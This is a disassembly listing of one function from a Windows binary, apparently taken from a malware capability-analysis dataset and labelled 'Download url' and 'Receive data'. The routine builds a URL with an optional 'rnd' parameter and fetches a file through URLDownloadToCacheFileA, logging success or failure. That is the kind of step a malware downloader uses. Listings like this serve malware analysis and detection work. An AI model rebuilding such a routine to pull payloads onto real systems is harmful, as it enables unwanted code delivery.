Function at 0x10022b5b
Capabilities:
Download url
Receive data

Disassembly:
push 0x820
mov eax, 0x100539fd
call fcn.100252b3
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0x14]
xor ebx, ebx
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x824], ebx
mov eax, dword [edi]
mov dword [ebp - 4], ebx
mov esi, 0x1005a638
cmp dword [eax - 8], ebx
je 0x10022bdb
push ebx
push esi
lea ecx, [ebp + 0xc]
call fcn.1000215d
cmp eax, 0xffffffff
push edi
lea eax, [ebp - 0x814]
jne 0x10022bb0
push esi
push eax
call fcn.100022ed
mov byte [ebp - 4], 1
jmp 0x10022bbf
push 0x10056a80
push eax
call fcn.100022ed
mov byte [ebp - 4], 2
mov eax, dword [eax]
push eax
push dword [eax - 8]
lea ecx, [ebp + 0xc]
call fcn.100057ea
lea ecx, [ebp - 0x814]
mov byte [ebp - 4], bl
call fcn.10001270
cmp byte [ebp + 0x10], bl
je 0x10022c5f
push ebx
push esi
lea ecx, [ebp + 0xc]
call fcn.1000215d
cmp eax, 0xffffffff
lea eax, [ebp - 0x818]
push eax
jne 0x10022c18
call fcn.100223f4
pop ecx
push eax
push str._rnd
lea eax, [ebp - 0x814]
push eax
mov byte [ebp - 4], 3
call fcn.100022ed
mov byte [ebp - 4], 4
jmp 0x10022c38
call fcn.100223f4
pop ecx
push eax
push str.rnd
lea eax, [ebp - 0x814]
push eax
mov byte [ebp - 4], 5
call fcn.100022ed
mov byte [ebp - 4], 6
mov eax, dword [eax]
push eax
push dword [eax - 8]
lea ecx, [ebp + 0xc]
call fcn.100057ea
lea ecx, [ebp - 0x814]
call fcn.10001270
lea ecx, [ebp - 0x818]
mov byte [ebp - 4], bl
call fcn.10001270
push str.Downloading_from:
lea ecx, [ebp - 0x814]
call fcn.10001b63
mov esi, str.DownloadFile
push esi
lea ecx, [ebp - 0x818]
mov byte [ebp - 4], 7
call fcn.10001b63
mov eax, dword [0x1006a014]
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x81c]
push eax
lea eax, [ebp - 0x824]
push eax
mov byte [ebp - 4], 9
call fcn.10020985
lea ecx, [ebp + 0xc]
push ecx
push eax
lea eax, [ebp - 0x828]
push eax
mov byte [ebp - 4], 0xa
call fcn.10020985
push ebx
push eax
lea eax, [ebp - 0x818]
push eax
mov byte [ebp - 4], 0xb
call fcn.10002340
add esp, 0x24
lea ecx, [ebp - 0x828]
call fcn.10001270
lea ecx, [ebp - 0x824]
call fcn.10001270
lea ecx, [ebp - 0x81c]
call fcn.10001270
lea ecx, [ebp - 0x818]
call fcn.10001270
lea ecx, [ebp - 0x814]
mov byte [ebp - 4], bl
call fcn.10001270
push 0x7ff
lea eax, [ebp - 0x80f]
push ebx
push eax
mov byte [ebp - 0x810], bl
call fcn.100255c0
add esp, 0xc
push ebx
push ebx
push 0x800
lea eax, [ebp - 0x810]
push eax
push dword [ebp + 0xc]
push ebx
call sub.urlmon.dll_URLDownloadToCacheFileA
cmp eax, ebx
je 0x10022d5c
mov ecx, dword [ebp - 0x820]
push str.__CR__FAILED_DOWNLOAD_READ__CR__
call fcn.10001b63
jmp 0x10022e40
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x82c]
call fcn.10001b63
push str.Successfully_Downloaded_to:
lea ecx, [ebp - 0x81c]
mov byte [ebp - 4], 0xc
call fcn.10001b63
push esi
lea ecx, [ebp - 0x818]
mov byte [ebp - 4], 0xd
call fcn.10001b63
mov eax, dword [0x1006a014]
mov dword [ebp - 0x814], eax
lea eax, [ebp - 0x81c]
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x828]
push eax
mov byte [ebp - 4], 0xf
call fcn.10020985
lea ecx, [ebp - 0x82c]
push ecx
push eax
lea eax, [ebp - 0x824]
push eax
mov byte [ebp - 4], 0x10
call fcn.10020985
push ebx
push eax
lea eax, [ebp - 0x818]
push eax
mov byte [ebp - 4], 0x11
call fcn.10002340
add esp, 0x24
lea ecx, [ebp - 0x824]
call fcn.10001270
lea ecx, [ebp - 0x828]
call fcn.10001270
lea ecx, [ebp - 0x814]
call fcn.10001270
lea ecx, [ebp - 0x818]
call fcn.10001270
lea ecx, [ebp - 0x81c]
mov byte [ebp - 4], 0xc
call fcn.10001270
mov ecx, dword [ebp - 0x820]
lea eax, [ebp - 0x82c]
push eax
call fcn.10001b2d
lea ecx, [ebp - 0x82c]
call fcn.10001270
lea ecx, [ebp + 0xc]
call fcn.10001270
mov eax, dword [ebp - 0x820]
call fcn.10025336
ret